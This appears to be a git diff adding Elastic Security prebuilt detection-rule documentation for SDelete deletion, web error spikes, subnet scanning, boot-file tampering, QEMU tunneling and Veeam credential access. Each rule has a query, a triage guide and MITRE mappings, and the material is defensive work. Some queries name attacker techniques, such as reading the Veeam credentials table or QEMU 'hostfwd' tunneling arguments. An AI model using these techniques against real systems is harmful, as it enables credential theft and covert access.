/dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secure-file-deletion-via-sdelete-utility.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-potential-secure-file-deletion-via-sdelete-utility]] +=== Potential Secure File Deletion via SDelete Utility + +Detects file name patterns generated by the use of Sysinternals SDelete utility to securely delete a file via multiple file overwrite and rename operations. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Secure File Deletion via SDelete Utility* + + +SDelete is a tool primarily used for securely deleting data from storage devices, making it unrecoverable. Microsoft develops it as part of the Sysinternals Suite. Although commonly used to delete data securely, attackers can abuse it to delete forensic indicators and remove files as a post-action to a destructive action such as ransomware or data theft to hinder recovery efforts. + +This rule identifies file name patterns generated by the use of SDelete utility to securely delete a file via multiple file overwrite and rename operations. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line and identify the files deleted, their importance and whether they could be the target of antiforensics activity. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and there are justifications for the execution. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If important data was encrypted, deleted, or modified, activate your data recovery plan. + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "change" and file.name : "*AAA.AAA" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-spike-in-web-server-error-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-spike-in-web-server-error-logs.asciidoc new file mode 100644 index 0000000000..9391c3e8f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-spike-in-web-server-error-logs.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-potential-spike-in-web-server-error-logs]] +=== Potential Spike in Web Server Error Logs + +This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Spike in Web Server Error Logs* + + +This detection flags spikes of web server error responses across HTTP/TLS and common server platforms, signaling active scanning or fuzzing that can expose misconfigurations or exploitable paths. A typical pattern is an automated scanner sweeping endpoints like /admin/, /debug/, /.env, /.git, and backup archives while mutating query parameters, producing repeated 404/403 and occasional 500 responses across multiple applications within minutes. + + +*Possible investigation steps* + + +- Pivot on the noisy client IP(s) to build a minute-by-minute timeline across affected hosts showing request rate, status codes, methods, and top paths to distinguish automated scanning from a localized application failure. +- Enrich the client with ASN, geolocation, hosting/Tor/proxy reputation, historical sightings, and maintenance windows to quickly decide if it matches a known external scanner or an internal scheduled test. +- Aggregate the most requested URIs and verbs and look for telltale patterns such as /.env, /.git, backup archives, admin consoles, or unusual verbs like PROPFIND/TRACE, then correlate any 5xx bursts with application and server error logs and recent deploys or config changes. +- Hunt for follow-on success from the same client by checking for subsequent 200/302s to sensitive paths, authentication events and session creation, or evidence of file writes and suspicious child processes on the web hosts. +- If traffic traverses a CDN/WAF/load balancer, pivot to those logs to recover true client IPs, review rule matches and throttling, and determine whether similar patterns occurred across multiple edges or regions. + + +*False positive analysis* + + +- Internal QA or integration tests that systematically crawl application routes after a deployment can generate bursts of 404/403 and occasional 500s from a single client IP, closely resembling active scanning. +- A transient backend outage or misconfiguration (broken asset paths or auth flows) can cause legitimate traffic to return many errors aggregated under a shared egress IP (NAT), pushing per-IP counts above the threshold without adversary activity. + + +*Response and remediation* + + +- Immediately block or throttle the noisy client IPs at the WAF/CDN and load balancer by enabling per-IP rate limits and signatures for scanner patterns such as repeated hits to /.env, /.git, /admin, backup archives, or unusual verbs like PROPFIND/TRACE. +- If errors include concentrated 5xx responses from one web host, drain that node from service behind the load balancer, capture its web and application error logs, and roll back the most recent deploy or config change until error rates normalize. +- Remove risky exposures uncovered by the scan by denying access to environment files and VCS directories (.env, .git), disabling directory listing, locking down admin consoles, and rejecting unsupported HTTP methods at the web server. +- Escalate to Incident Response if the same client shifts from errors to successful access on sensitive endpoints (200/302 to /admin, /login, or API keys), if you observe file writes under the webroot or suspicious child processes, or if multiple unrelated clients show the same pattern across regions. +- Recover service by redeploying known-good builds, re-enabling health checks, running smoke tests against top routes, and restoring normal WAF/CDN policies while keeping a temporary blocklist for the offending IPs. +- Harden long term by tuning WAF/CDN to auto-throttle bursty 404/403/500 patterns, disabling TRACE/OPTIONS where unused, minimizing verbose error pages, and ensuring logs capture the true client IP via X-Forwarded-For or True-Client-IP headers. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.error-*, logs-apache_tomcat.error-*, logs-apache.error-*, logs-iis.error-* +| keep + @timestamp, + event.type, + data_stream.dataset, + source.ip, + agent.id, + host.name, + data_stream.namespace + +| where source.ip is not null +| stats + Esql.event_count = count(), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.event_count > 50 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-subnet-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-subnet-scanning-activity-from-compromised-host.asciidoc new file mode 100644 index 0000000000..a93d246ce3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-subnet-scanning-activity-from-compromised-host.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-21-potential-subnet-scanning-activity-from-compromised-host]] +=== Potential Subnet Scanning Activity from Compromised Host + +This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Subnet Scanning Activity from Compromised Host* + + +Subnet scanning is a reconnaissance method used by attackers to map network topology and identify active hosts. Adversaries exploit compromised hosts to perform these scans, seeking vulnerabilities for further attacks. The detection rule identifies such activity by monitoring Linux hosts for numerous connection attempts to different IPs within a short period, indicating potential scanning behavior. This helps in early detection and mitigation of network threats. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a known or legitimate application that should be making network connections. +- Examine the destination IP addresses to identify any patterns or known malicious IPs, and check if these IPs are part of the organization's network or external. +- Investigate the specific host (using the agent.id) to assess if there are any signs of compromise, such as unusual processes or unauthorized access. +- Correlate the event timestamp with other logs or alerts to identify any concurrent suspicious activities or anomalies on the host. +- Check for any recent changes or updates on the host that might explain the scanning behavior, such as new software installations or configuration changes. + + +*False positive analysis* + + +- High-volume legitimate network monitoring tools may trigger the rule. Identify and exclude these tools by adding their process executables to an exception list. +- Automated backup systems that connect to multiple hosts within a short timeframe can be mistaken for scanning activity. Review and exclude these systems by their process executable or agent ID. +- Security software performing routine network health checks might generate false positives. Verify these activities and create exceptions based on the specific process executable involved. +- Internal IT scripts or administrative tasks that involve connecting to numerous hosts for maintenance purposes can trigger alerts. Document these tasks and exclude them by process executable or agent ID. +- Cloud-based services or applications that require frequent connections to various hosts for functionality may appear as scanning. Identify these services and exclude them by their process executable or agent ID. + + +*Response and remediation* + + +- Isolate the compromised host immediately from the network to prevent further scanning and potential lateral movement by the attacker. +- Terminate any suspicious processes identified by the executable name in the alert to stop ongoing scanning activities. +- Conduct a thorough examination of the compromised host to identify and remove any malware or unauthorized access tools that may have been installed. +- Reset credentials and review access permissions for the compromised host to ensure no unauthorized access persists. +- Update and patch the compromised host and any other vulnerable systems identified during the investigation to close security gaps. +- Monitor network traffic closely for any signs of continued scanning or other suspicious activities from other hosts, indicating potential further compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if additional hosts are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + not ( + process.executable in ("/usr/local/bin/prometheus", "/app/extra/chrome", "/usr/lib/virtualbox/VBoxHeadless", "/usr/bin/prometheus") or + process.executable like "/usr/local/prometheus/*/prometheus" or + process.executable like "/usr/share/elastic-agent/*" or + process.executable like "/var/lib/docker/overlay*connectord" or + process.executable like "/opt/rumble/bin/rumble-agent*" or + process.executable like "/opt/gitlab/*" or + process.executable like "/opt/google/chrome/chrome*" or + process.executable like "/snap/firefox/*/firefox" or + process.executable like "/var/lib/docker/overlay2/*/qbittorrent-nox" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.executable, + destination.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.destination_ip_count_distinct = count_distinct(destination.ip), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.destination_ip_count_distinct > 250 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-system-tampering-via-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-system-tampering-via-file-modification.asciidoc new file mode 100644 index 0000000000..ec73632da8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-system-tampering-via-file-modification.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-potential-system-tampering-via-file-modification]] +=== Potential System Tampering via File Modification + +Identifies attempts to delete or modify critical files used during the boot process to prevent the system from booting. This may indicate a destructive attack behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential System Tampering via File Modification* + + +This rule identifies attempts to delete or modify critical files used during the boot process to prevent the system from booting. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. +- Assess all deleted or modified system critical files and perform a complete recovery of those files to prevent system booting issues. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action, if not immedialy disable the account. + + +*False positive analysis* + + +- Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and there are justifications for the execution. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If important data was encrypted, deleted, or modified, activate your data recovery plan. + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type in ("change", "deletion") and + file.name : ("winload.exe", "winlod.efi", "ntoskrnl.exe", "bootmgr") and + file.path : ("?:\\Windows\\*", "\\Device\\HarddiskVolume*\\Windows\\*") and + not process.executable : ( + "?:\\Windows\\System32\\poqexec.exe", + "?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\tiworker.exe" + ) and + not file.path : ( + "?:\\Windows\\WinSxS\\Temp\\InFlight\\*", + "?:\\Windows\\SoftwareDistribution\\Download*", + "?:\\Windows\\WinSxS\\amd64_microsoft-windows*", + "?:\\Windows\\SystemTemp\\*", + "?:\\Windows\\Temp\\????????.???\\*", + "?:\\Windows\\Temp\\*\\amd64_microsoft-windows-*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-traffic-tunneling-using-qemu.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-traffic-tunneling-using-qemu.asciidoc new file mode 100644 index 0000000000..1ce74ef7b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-traffic-tunneling-using-qemu.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-potential-traffic-tunneling-using-qemu]] +=== Potential Traffic Tunneling using QEMU + +Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securelist.com/network-tunneling-with-qemu/111803/ +* https://blog.xpnsec.com/bring-your-own-vm-mac-edition/ +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Traffic Tunneling using QEMU* + + +QEMU is a legitimate virtualization and emulation platform used for system testing and development. However, its advanced networking features can be abused to tunnel network traffic, forward ports, and create covert communication channels between systems. The detection rule identifies suspicious QEMU executions using networking-related arguments that are commonly associated with traffic forwarding and tunneling behavior. + + +*Possible investigation steps* + + +- Review the process command line for the presence of networking arguments such as `-netdev`, `hostfwd=`, `connect=`, `restrict=off`, and `-nographic`. +- Confirm whether QEMU is legitimately installed and expected to run on the affected system. +- Check the parent process to determine how QEMU was launched and whether the execution chain appears suspicious. +- Investigate the user account and host context to assess whether virtualization activity is normal for that environment. +- Analyze related network activity for signs of traffic forwarding, tunneling, or unauthorized external connections. +- Correlate the event with other telemetry (process creation, persistence mechanisms, or VM artifacts) for additional context. + + +*False positive analysis* + + +- Legitimate developer or research environments using QEMU for virtualization and testing may trigger this rule. +- Approved lab systems, malware analysis sandboxes, or CI/CD pipelines may use similar networking configurations. +- Internal training or testing environments may generate similar activity. + + +*Response and remediation* + + +- Isolate the affected system and terminate unauthorized QEMU processes. +- Investigate for signs of lateral movement or command-and-control activity. +- Remove unauthorized VM images, configurations, and persistence mechanisms. +- Rotate credentials and assess scope of impact if tunneling activity is confirmed. +- Escalate to the SOC or incident response team for further investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.args : "-netdev" and + ( + (process.args : "-nographic" and process.command_line : "*connect=*" and process.command_line : "*restrict=off*") or + process.command_line : "*hostfwd=*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-veeam-credential-access-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-veeam-credential-access-command.asciidoc new file mode 100644 index 0000000000..d0b2b09615 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-veeam-credential-access-command.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-potential-veeam-credential-access-command]] +=== Potential Veeam Credential Access Command + +Identifies commands that can access and decrypt Veeam credentials stored in MSSQL databases. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/12/13/diavol-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Veeam Credential Access Command* + + +Veeam credentials stored in MSSQL databases are crucial for managing backup operations. Attackers may exploit tools like `sqlcmd.exe` or PowerShell commands to access and decrypt these credentials, potentially leading to data breaches or ransomware attacks. The detection rule identifies suspicious command executions targeting Veeam credentials, focusing on specific processes and arguments, to alert analysts of potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of sqlcmd.exe or PowerShell commands like Invoke-Sqlcmd, focusing on the process.name and process.args fields. +- Examine the command line arguments for any references to [VeeamBackup].[dbo].[Credentials] to determine if there was an attempt to access or decrypt Veeam credentials. +- Check the user account associated with the process execution to assess if it is a legitimate user or potentially compromised. +- Investigate the source host for any signs of unauthorized access or suspicious activity, such as unusual login times or failed login attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to identify any related malicious activities or patterns. +- Assess the risk and impact by determining if any Veeam credentials were successfully accessed or exfiltrated, and evaluate the potential for data breaches or ransomware attacks. + + +*False positive analysis* + + +- Routine database maintenance tasks may trigger the rule if they involve accessing Veeam credentials for legitimate purposes. To manage this, identify and document regular maintenance schedules and exclude these activities from triggering alerts. +- Automated scripts used for backup verification or testing might use similar commands. Review and whitelist these scripts by their process names or specific arguments to prevent unnecessary alerts. +- Internal security audits or compliance checks that involve credential access could be mistaken for malicious activity. Coordinate with audit teams to schedule these activities and create exceptions for known audit processes. +- Development or testing environments where Veeam credentials are accessed for non-production purposes can generate false positives. Implement environment-specific exclusions to differentiate between production and non-production activities. +- Legitimate use of PowerShell commands for database management by authorized personnel may be flagged. Maintain a list of authorized users and their typical command patterns to refine the detection rule and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the alert, such as `sqlcmd.exe` or PowerShell commands accessing Veeam credentials. +- Change all Veeam-related credentials stored in the MSSQL database to prevent further unauthorized access using compromised credentials. +- Conduct a thorough review of recent backup operations and logs to identify any unauthorized access or modifications. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring on systems storing Veeam credentials to detect similar suspicious activities in the future. +- Review and update access controls and permissions for MSSQL databases to ensure only authorized personnel have access to Veeam credentials. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "sqlcmd.exe" or ?process.pe.original_file_name : "sqlcmd.exe") or + process.args : ("Invoke-Sqlcmd", "Invoke-SqlExecute", "Invoke-DbaQuery", "Invoke-SqlQuery") + ) and + process.args : "*[VeeamBackup].[dbo].[Credentials]*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git 